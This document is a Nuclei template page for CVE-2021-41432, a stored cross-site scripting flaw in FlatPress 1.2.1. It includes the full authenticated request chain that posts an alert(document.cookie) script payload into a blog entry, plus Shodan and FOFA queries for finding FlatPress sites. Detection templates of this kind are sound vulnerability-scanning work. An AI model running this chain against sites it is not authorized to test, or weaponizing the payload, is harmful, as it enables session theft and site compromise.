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FlatPress 1.2.1 - Stored Cross-Site Scripting

ID: CVE-2021-41432

Severity: medium

Author: arafatansari

Tags: cve2021,cve,flatpress,xss,authenticated,oss,intrusive

Description

Section titled “Description”

FlatPress 1.2.1 contains a stored cross-site scripting vulnerability that allows for arbitrary execution of JavaScript commands through blog content. An attacker can possibly steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2021-41432


info:
  name: FlatPress 1.2.1 - Stored Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    FlatPress 1.2.1 contains a stored cross-site scripting vulnerability that allows for arbitrary execution of JavaScript commands through blog content. An attacker can possibly steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to potential data theft, session hijacking, or defacement of the website.
  remediation: |
    Upgrade to the latest version of FlatPress (1.2.2) or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/flatpressblog/flatpress/issues/88
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41432
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/martinkubecka/CVE-References
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-41432
    cwe-id: CWE-79
    epss-score: 0.00067
    epss-percentile: 0.29279
    cpe: cpe:2.3:a:flatpress:flatpress:1.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: flatpress
    product: flatpress
    shodan-query:
      - http.html:"Flatpress"
      - http.html:"flatpress"
      - http.favicon.hash:-1189292869
    fofa-query:
      - body="flatpress"
      - icon_hash=-1189292869
  tags: cve2021,cve,flatpress,xss,authenticated,oss,intrusive


http:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykGJmx9vKsePrMkVp


        ------WebKitFormBoundarykGJmx9vKsePrMkVp
        Content-Disposition: form-data; name="user"


        {{username}}
        ------WebKitFormBoundarykGJmx9vKsePrMkVp
        Content-Disposition: form-data; name="pass"


        {{password}}
        ------WebKitFormBoundarykGJmx9vKsePrMkVp
        Content-Disposition: form-data; name="submit"


        Login
        ------WebKitFormBoundarykGJmx9vKsePrMkVp--
      - |
        GET /admin.php?p=entry&action=write HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /admin.php?p=entry&action=write HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        _wpnonce={{nonce}}&_wp_http_referer=%2Fadmin.php%3Fp%3Dentry%26action%3Dwrite&subject=abcd&timestamp=&entry=&attachselect=--&imageselect=--&content=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&save=Publish
      - |
        GET /index.php/2022/10 HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - contains(body_4, '<p><script>alert(document.cookie)</script></p>')
          - contains(body_4, 'FlatPress')
          - contains(header_4, 'text/html')
          - status_code_4 == 200
        condition: and


    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - name="_wpnonce" value="([0-9a-z]+)" />
        internal: true
        part: body
# digest: 490a0046304402206197d4a1c7b608dea9c1f59914f1c6714296adcda6e0d70de056cefb50cdd84d02204dedd12d3eb2c54778f3133d7167d36475a41faef96f6d0b083ecbb034d5ff48:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-41432.yaml"

View on Github